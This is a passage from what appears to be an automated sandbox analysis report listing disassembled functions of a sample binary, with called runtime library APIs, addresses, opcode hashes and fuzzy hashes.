                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: _free
                                          • String ID: mqzp
                                          • API String ID: 269201875-955126501
                                          • Opcode ID: be0f053888795e21ff3a345fa6add1b63050708fc54ecee184af2ebff2a3ff02
                                          • Instruction ID: ae9244a08d701d09bc1d1e0400dace2b2e936892026a0f5b16615ab5a2e9bf01
                                          • Opcode Fuzzy Hash: be0f053888795e21ff3a345fa6add1b63050708fc54ecee184af2ebff2a3ff02
                                          • Instruction Fuzzy Hash: F441E232A00324DFCB14EF78D980A5AB7E5EFC5320F2545A9E515EB346EB31AD01CB80
                                          Function 0089C620 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107COMMON
                                          Download Yara Rule
                                          APIs
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 0089C656
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 0089C676
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 0089C696
                                          • std::_Facet_Register.LIBCPMT ref: 0089C731
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 0089C749
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
                                          • String ID: mqzp
                                          • API String ID: 459529453-955126501
                                          • Opcode ID: e3a5b90fb91b46ec1aa8ab1cd6f9d2885f35a806874547d279c004ff2ee5cf6a
                                          • Instruction ID: 5da178f5061da5082e5bd00e2db3bd1daf9c9806594465c7ae85a384ee0426d4
                                          • Opcode Fuzzy Hash: e3a5b90fb91b46ec1aa8ab1cd6f9d2885f35a806874547d279c004ff2ee5cf6a
                                          • Instruction Fuzzy Hash: 3341BE71904618DBCF11EF98C890AAAB7B4FB54714F14426EE806EB381DB32AD01CB81
                                          Function 0090304F Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00903077
                                            • Part of subcall function 00902DE4: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00902E17
                                            • Part of subcall function 00902DE4: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00902E39
                                          • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 009030F4
                                          • Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00903100
                                          • Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0090310F
                                          • Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00903119
                                          • Concurrency::location::_Assign.LIBCMT ref: 0090314D
                                          • Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00903155
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
                                          • String ID:
                                          • API String ID: 1924466884-0
                                          • Opcode ID: e5ecdd75eb0b4e1527a1569777263c42b2c86c2a549fba26c7ab9fc10be3aa26
                                          • Instruction ID: 7a7e87c2b939b7bfd1bdf4f6045b2b634f2b0e116ce4523de9284dd891e92e86
                                          • Opcode Fuzzy Hash: e5ecdd75eb0b4e1527a1569777263c42b2c86c2a549fba26c7ab9fc10be3aa26
                                          • Instruction Fuzzy Hash: EC411B75A00208DFCB05EF64C895AADB7B9FF48310F5580A9DD499B282DB30AA41CF91
                                          Function 00932703 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: e7d625776999d3fcaf22b81cacee974e55170280a11b9d245c85cb72905cfebf
                                          • Instruction ID: bf06a39c86d787c34c6d3f85d7e34011b44ecb407697a6151cbdaf6971fcd837
                                          • Opcode Fuzzy Hash: e7d625776999d3fcaf22b81cacee974e55170280a11b9d245c85cb72905cfebf
                                          • Instruction Fuzzy Hash: BC110A36A19128BBD7206F769C44EAB7BACFFC5770F114659F816C7250DE3498009BB0
                                          Function 008F2F2E Relevance: 10.6, APIs: 7, Instructions: 50COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,008F2699,?,?,?,00000000), ref: 008F2F3C
                                          • GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,008F2699,?,?,?,00000000), ref: 008F2F42
                                          • GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,008F2699,?,?,?,00000000), ref: 008F2F6F
                                          • GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,008F2699,?,?,?,00000000), ref: 008F2F79
                                          • GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,008F2699,?,?,?,00000000), ref: 008F2F8B
                                          • Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 008F2FA1
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008F2FAF
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
                                          • String ID:
                                          • API String ID: 4227777306-0
                                          • Opcode ID: 30228da14d25e96312d773d44d24795306f27adbc6491b66e9f15f2b55dec0bd
                                          • Instruction ID: 54d2b16c6deaf18a654c6e5f2fec76ea649dc46b8530193ad4159e92f51403de
                                          • Opcode Fuzzy Hash: 30228da14d25e96312d773d44d24795306f27adbc6491b66e9f15f2b55dec0bd
                                          • Instruction Fuzzy Hash: 2D018F35628119ABC724BBB5DC0AFFFB77DFB81350B604429F215E2051EF24EA049A60
                                          Function 0091CD46 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: __cftoe
                                          • String ID:
                                          • API String ID: 4189289331-0
                                          • Opcode ID: 60a712bad2d00fba81601ef0ec505589cf3d1ce81f807734a442e575eb23f182
                                          • Instruction ID: 1e2ffb63aa7556742fa58a264fbc2f42ccaf2421c129983acd85e26dc8c01e72
                                          • Opcode Fuzzy Hash: 60a712bad2d00fba81601ef0ec505589cf3d1ce81f807734a442e575eb23f182
                                          • Instruction Fuzzy Hash: 71511CB6B4020DABDB259B689C41FFE77ADAF89330F204229F419D61D1DB31DD8086A4
                                          Function 0090317D Relevance: 9.1, APIs: 6, Instructions: 117COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • Concurrency::location::_Assign.LIBCMT ref: 009031BE
                                          • Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 009031C6
                                          • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 009031F0
                                          • Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 009031F9
                                          • Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0090327C
                                          • Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 00903284
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
                                          • String ID:
                                          • API String ID: 3929269971-0
                                          • Opcode ID: 767c2fcea7f9d9c148327e0c963584d1a291fdcae489fd7e1fec69ec7334cc7c
                                          • Instruction ID: 6d294db57277872c96bbd49d6766e0c7caf8f375f8c3bda264d38a6d68a11f51
                                          • Opcode Fuzzy Hash: 767c2fcea7f9d9c148327e0c963584d1a291fdcae489fd7e1fec69ec7334cc7c
                                          • Instruction Fuzzy Hash: 1E413075A00619EFCF09DF68C455A6DBBBAFF88310F048159E916AB391CB74AE01CF81
                                          Function 0090A9E8 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • GetLastError.KERNEL32(?,?,0090A9DF,0090857C,00934B4E,00000008,00934EA6,?,?,?,?,009056A5,?,?,707A716D), ref: 0090A9F6
                                          • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0090AA04
                                          • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0090AA1D
                                          • SetLastError.KERNEL32(00000000,?,0090A9DF,0090857C,00934B4E,00000008,00934EA6,?,?,?,?,009056A5,?,?,707A716D), ref: 0090AA6F
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: ErrorLastValue___vcrt_
                                          • String ID:
                                          • API String ID: 3852720340-0
                                          • Opcode ID: f577a985f69372191cf50c98c2679921ed13a4f4ca5e654d4edb73bd55b82f37
                                          • Instruction ID: f5dc9ca6e33480f5bd460974559d81b4b4046ccd51ce6b5d59550eeec06d226c
                                          • Opcode Fuzzy Hash: f577a985f69372191cf50c98c2679921ed13a4f4ca5e654d4edb73bd55b82f37
                                          • Instruction Fuzzy Hash: 2101473731C3156EE72567B46D85ABA278AEB41B707200339F234910E5EF650CC0A2C9
                                          Function 008DC02B Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008DC032
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008DC03C
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • moneypunct.LIBCPMT ref: 008DC076
                                          • std::_Facet_Register.LIBCPMT ref: 008DC08D
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008DC0AD
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008DC0CB
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
                                          • String ID:
                                          • API String ID: 113178234-0
                                          • Opcode ID: 60e8c996d0ad669a8724f3c8a38ac2c8b714325c4ff64ec0be2bfac6d2032ebc
                                          • Instruction ID: 38f4ca8b7f7d5f669a226f96232f979f0c458d3611d6654f3bd21a6190bba4b8
                                          • Opcode Fuzzy Hash: 60e8c996d0ad669a8724f3c8a38ac2c8b714325c4ff64ec0be2bfac6d2032ebc
                                          • Instruction Fuzzy Hash: C3119E72900629DBCF10EBA8C855AAE77B1FF84720F64010AE401E7391CF349E01DBA2
                                          Function 008DC369 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008DC370
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008DC37A
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • numpunct.LIBCPMT ref: 008DC3B4
                                          • std::_Facet_Register.LIBCPMT ref: 008DC3CB
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008DC3EB
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008DC409
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrownumpunct
                                          • String ID:
                                          • API String ID: 2509942033-0
                                          • Opcode ID: 296b3f83731b348f58389b22a71120002f1840ccf8cc6beb1ca5f8a9adecb466
                                          • Instruction ID: 2e7f7f494cc9aa53a860739be5cabd981311df6c479493ea78127a9b6aa05353
                                          • Opcode Fuzzy Hash: 296b3f83731b348f58389b22a71120002f1840ccf8cc6beb1ca5f8a9adecb466
                                          • Instruction Fuzzy Hash: CA11A072900229DBCF04EBA8C855ABE77B4FF84320F14460AE510E7391CF749E05DB92
                                          Function 008DC40F Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008DC416
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008DC420
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • numpunct.LIBCPMT ref: 008DC45A
                                          • std::_Facet_Register.LIBCPMT ref: 008DC471
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008DC491
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008DC4AF
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrownumpunct
                                          • String ID:
                                          • API String ID: 2509942033-0
                                          • Opcode ID: bf0eb01c50a6b855491994e9ec9457def6ae60e56b080c352bdad7c75342a801
                                          • Instruction ID: d1e22569af59e7fec0297f19e07e493b440cbd76ad5572561f1b9c56e160d3da
                                          • Opcode Fuzzy Hash: bf0eb01c50a6b855491994e9ec9457def6ae60e56b080c352bdad7c75342a801
                                          • Instruction Fuzzy Hash: 0311A07290022ADBCF04EBA8C815ABE77B1FF84320F24050AE401E7391CF749E01DB92
                                          Function 008E8CCC Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008E8CD3
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008E8CDD
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • collate.LIBCPMT ref: 008E8D17
                                          • std::_Facet_Register.LIBCPMT ref: 008E8D2E
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008E8D4E
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008E8D6C
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcollate
                                          • String ID:
                                          • API String ID: 2363045490-0
                                          • Opcode ID: ade22b8d408c7052a684535cd180b8362f05441e78e54e498ea7c4349d12426b
                                          • Instruction ID: 22b6c37cd8253ca85a5c2bbdf676530236ebf340db616592ebea939f190b2009
                                          • Opcode Fuzzy Hash: ade22b8d408c7052a684535cd180b8362f05441e78e54e498ea7c4349d12426b
                                          • Instruction Fuzzy Hash: 1C118F71900619DBCF00EBA8CC55AAE77B4FF94320F244409E515E73D1CF749A01DB92
                                          Function 008E8D72 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008E8D79
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008E8D83
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • messages.LIBCPMT ref: 008E8DBD
                                          • std::_Facet_Register.LIBCPMT ref: 008E8DD4
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008E8DF4
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008E8E12
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmessages
                                          • String ID:
                                          • API String ID: 438560357-0
                                          • Opcode ID: f9c86f030405a953e6aa4ce9e84d070d28033bb50d0f99baa7dbc6ec58da5956
                                          • Instruction ID: c8bcc44a484e3ce1727cefb88eccbf52bd5665e3b47d8158815191e11cf60cfd
                                          • Opcode Fuzzy Hash: f9c86f030405a953e6aa4ce9e84d070d28033bb50d0f99baa7dbc6ec58da5956
                                          • Instruction Fuzzy Hash: 92118872900629DBCF01EBA8C855AAE77B4FF85320F640509E805EB391CF749A01DBA2
                                          Function 008E8F64 Relevance: 9.1, APIs: 6, Instructions: 54COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __EH_prolog3.LIBCMT ref: 008E8F6B
                                          • std::_Lockit::_Lockit.LIBCPMT ref: 008E8F75
                                            • Part of subcall function 00862B00: std::_Lockit::_Lockit.LIBCPMT ref: 00862B1D
                                            • Part of subcall function 00862B00: std::_Lockit::~_Lockit.LIBCPMT ref: 00862B39
                                          • moneypunct.LIBCPMT ref: 008E8FAF
                                          • std::_Facet_Register.LIBCPMT ref: 008E8FC6
                                          • std::_Lockit::~_Lockit.LIBCPMT ref: 008E8FE6
                                          • __CxxThrowException@8.LIBVCRUNTIME ref: 008E9004
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.2799799628.0000000000861000.00000020.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                          • Associated: 00000000.00000002.2799777440.0000000000860000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799877152.0000000000943000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799912957.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799935608.0000000000981000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799955516.0000000000986000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.2799983820.0000000000990000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_860000_GD8c7ARn8q.jbxd
                                          Similarity
                                          • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
                                          • String ID:
                                          • API String ID: 113178234-0
                                          • Opcode ID: f8bd58d0f9fb6a5993438c9a430a1ccbae874b67510cf091a7d9efd5c0087059
                                          • Instruction ID: e4eefffd6664e8a842a04d1f4760333c62afd6cbce667901a773959a1e24c72c
                                          • Opcode Fuzzy Hash: f8bd58d0f9fb6a5993438c9a430a1ccbae874b67510cf091a7d9efd5c0087059
